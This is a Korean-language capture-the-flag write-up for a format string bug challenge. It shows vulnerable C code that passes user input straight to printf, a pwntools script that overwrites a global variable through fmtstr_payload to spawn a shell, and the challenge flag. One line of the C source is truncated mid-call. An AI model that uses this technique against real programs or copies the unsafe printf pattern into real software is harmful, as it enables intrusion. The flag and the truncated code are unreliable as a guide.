Do you know fsb?

문제이름

Do you know fsb?

사용 된 취약점

Format String bug

풀이 과정

전체코드

```
//gcc -fno-stack-protector -no-pie -o fsb fsb.c
//aslr disabled

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char auth;

int main() {
    char name[128];

    setbuf(stdout, NULL);

    puts("Do you know FSB??");
    ssize_t read_bytes = read(STDIN_FILENO, name, sizeof(name
    if (read_bytes == -1) {
        perror("read");
        exit(1);
    }
    printf(name);
    puts("");
    if (auth<0){
```

```
        system("/bin/sh");
    }

    return 0;
}
```

해당 코드에서 의도적으로 FSB를 일으키기위해 print(name)과 같이 사용하였습니다.

전역변수로 사용된 auth를 음수로 만들면 쉘이 실행되며 플래그를 획득할 수 있습니다.

포맷 스트링 버그를 통해 값을 바꾸는것은 조금만 공부한다면 누구나 가능합니다. 그러나 해당 문제에서는 음수를 입력해야 하기 때문에 고전적인 방법을 사용한다면 매우 어려운 문제입니다.

하지만 pwntool에 있는 fmtstr_payload함수를 사용하면 매우 간단해집니다.

fsb.py

```
from pwn import *

# 바이너리 로드
binary = ELF('./fsb')
context.bits=64
# 주소 계산
auth_addr = binary.symbols['auth']
log.info(f"auth address: {hex(auth_addr)}")

# 프로그램 실행
p = process('./fsb')

# auth 변수에 -1 쓰기
payload = fmtstr_payload(6, {auth_addr: -1})
p.sendafter(b"Do you know FSB??",payload)
```

```
# /bin/sh 실행
p.interactive()
```

auth의 주소를 구하고 fmtstr_payload(offset,{값을 바꿀 변수 주소: 바꿀 값}) 이렇게 사용하면 끝입니다.

FLAG : SOTI{FOrm47_s7r1nG_bu9_1sT_STep}